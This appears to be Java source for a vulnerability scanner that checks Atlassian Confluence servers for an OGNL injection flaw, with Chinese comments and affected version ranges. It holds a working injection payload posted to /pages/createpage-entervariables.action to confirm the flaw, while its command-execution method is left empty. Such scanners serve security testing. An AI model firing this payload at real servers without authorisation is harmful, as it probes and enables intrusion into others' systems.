package scanner.confluence;

import org.apache.commons.lang3.StringUtils;
import scanner.Scanner;
import tools.Tool;

import java.io.IOException;
import java.net.ConnectException;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class ConfluenceScanner extends Scanner {
    /**
     * Author: 4ut15m.4ny0neSec, m4n1c.4ny0neSec
     * Date: 2022/1/7
     * Desc:
     * 至少需要一个参数作为url，最多两个参数，其一为url，其二为要执行的命令
     * 这个项目后期将作为extloader的一个扫描模块，所以需要专门的参数处理方法
     * 这样在后期只需要修改参数处理方法便可以移植到extloader上。
     * Affected versions:
     * before version 6.13.23,
     * from version 6.14.0 before 7.4.11,
     * from version 7.5.0 before 7.11.6,
     * from version 7.12.0 before 7.12.5
     */
    private static int confluenceLength = "Confluence".toCharArray().length + 1;
    private static String queryString = "queryString";
    private static String linkCreation = "linkCreation";

    public static void main(String[] args) {
        // 第一个字符串为url，测试阶段只填第一个字符串即可
        ConfluenceScanner confluenceScanner = new ConfluenceScanner();
        String[] params = new String[]{""};
        for (String param : params) {
            confluenceScanner.run(new String[]{param,""});
        }
    }


    public void parse() {
        /**
         * 解析参数。
         * 在与burpsuite其他模块联动后，这里的值将由其他组件决定
         * */
        targetUri = "/pages/createpage-entervariables.action";
    }

    public void run(String[] params) {
        // 扫描的运行方法
        parse();
        String url = params[0] + targetUri;
        if (params.length >= 2 && !params[1].equals("")) {
            exploit(url, params[1]);
        } else {
            if (check(url)) {
                System.out.println("[*] "+ params[0] + " is vulnerable");
            } else {
                System.out.println("[!] "+ params[0] + " maybe is not vulnerable");
            }
        }
    }

    /**
     * Params:
     *      String url: 顾名思义，需要传入待测站点的url
     * return:
     *      boolean: true则存在漏洞，false则不存在漏洞
     * */
    public boolean check(String url) {
        boolean flag;

        String poc = "queryString=\\u0027%2b\\u0022\\u0022[\\u0022class\\u0022]%2b\\u0027";
        String res = "";
        try{
            res = Tool.Post(url, new String[]{poc});
        }catch (Exception e){
            return false;
        }
        // 测试的时候可以把下一行注释去掉，输出响应结果
//        System.out.println(res);
        if (checkVersion(res)) {
            System.out.println("[*] version is Right");
            if (checkRes(res)) {
                flag = true;
            }
            else {
                flag = false;
            }
        } else {
            System.out.println("[!] This version maybe not in the range of vulnerable version");
            flag = false;
        }

        return flag;
    }

    /**
     * 漏洞版本比较
     */
    public boolean checkVersion(String res) {

        String version = regVersion(res);
//        String version = res;

        if (Tool.compareVersion(version, "6.13.23") < 0) {
            return true;
        }
        if (Tool.compareVersion(version, "6.14.0") >= 0 && Tool.compareVersion(version, "7.4.11") < 0) {
            return true;
        }
        if (Tool.compareVersion(version, "7.5.0") >= 0 && Tool.compareVersion(version, "7.11.6") < 0) {
            return true;
        }
        if (Tool.compareVersion(version, "7.12.0") >= 0 && Tool.compareVersion(version, "7.12.5") < 0) {
            return true;
        }

        return false;
    }

    public boolean checkRes(String res) {
        String flag = "class java.lang.String";
        Map<String, String> regValueMap = regValue(res);
        String value = null;
        for(String key : regValueMap.keySet()){
            value = regValueMap.get(key);
        }
        if (flag.equals(value)) {
            return true;
        }
        return false;
    }

    /**
     * 专门的，漏洞利用部分
     * 是否要实现，尚未决定
     * */
    public void exploit(String url, String command) {

    }

    /**
     * Author: m4n1c.4ny0neSec
     * Date: 2022/1/11
     */
    public String regVersion(String res) {
        String version = "";
        /**
         * 这里进行一系列处理
         * 最后返回解析出的version结果
         * 比如 powered by atlassian Confluence 7.1.0
         * 最后返回7.1.0
         * */
        Pattern pattern = Pattern.compile("<li class=\"print-only\">([\\s\\S]*?)</li>");
        Matcher matcher = pattern.matcher(res);

        if(matcher.find()){
            String content = matcher.group(0);
            if(content.contains("Confluence")){
                int versionIndex = content.lastIndexOf("Confluence")+confluenceLength;
                int liIndex = content.indexOf("<", versionIndex);
                version = content.substring(versionIndex,liIndex);
            }else {
                //取第一个.和最后一个.下标,若差值大于3则证明conteng含有其他小数点
                int beginIndex = content.indexOf(">");
                int firstIndex = content.indexOf(".", beginIndex);
                int lastIndex = content.indexOf(".", firstIndex+1);
                if(lastIndex-firstIndex <= 3){
                    Pattern numPattern = Pattern.compile("[\\s\\S](?<version>\\d{1,}.\\d{1,}.\\d{1,})[\\s\\S]");
                    Matcher numMather = numPattern.matcher(content);
                    if(numMather.find()){
                        version = numMather.group("version");
                    }
                }
            }

        }

        return version;
    }

    /**
     * Author: m4n1c.4ny0neSec
     * Date: 2022/1/11
     */
    public Map<String,String> regValue(String res) {
        /**
         * 这里进行一系列处理
         * 最后返回解析出的value值
         * 比如<input
         *     type="hidden"
         *           name="queryString"            value="class java.lang.String"             />
         * 最后返回 class java.lang.String
         * */
        String queryStringValue = null;
        String linkCreationValue = null;

        Pattern queryStringPattern = Pattern.compile("name=\"queryString\" +value([\\s\\S]*?)/>");
        Pattern linkCreationPattern = Pattern.compile("name=\"linkCreation\" +value([\\s\\S]*?)/>");

        Matcher queryStringMatcher = queryStringPattern.matcher(res);
        Matcher linkCreationMatcher = linkCreationPattern.matcher(res);

        if(queryStringMatcher.find()){
            queryStringValue = getKey(queryStringMatcher);
        }
        if(linkCreationMatcher.find()){
            linkCreationValue = getKey(linkCreationMatcher);
        }

        Map<String,String> resultMap = new HashMap<>();
        if(StringUtils.isNotEmpty(queryStringValue) && StringUtils.isNotEmpty(linkCreationValue)){
            resultMap.put(queryString,queryStringValue);
            resultMap.put(linkCreation,linkCreationValue);
        }
        return resultMap;
    }

    /**
     * Author: m4n1c.4ny0neSec
     * Date:2022/1/11
     */
    private String getKey(Matcher matcher) {
        String content = matcher.group(0).trim().replaceAll(" +", " ");
        int valueIndex = content.indexOf("value");
        int firstQuotationMarks = content.indexOf("\"", valueIndex);
        int lastQuotationMarks = content.indexOf("\"", firstQuotationMarks + 1);
        String value = content.substring(firstQuotationMarks + 1,lastQuotationMarks);
        return value;
    }


}
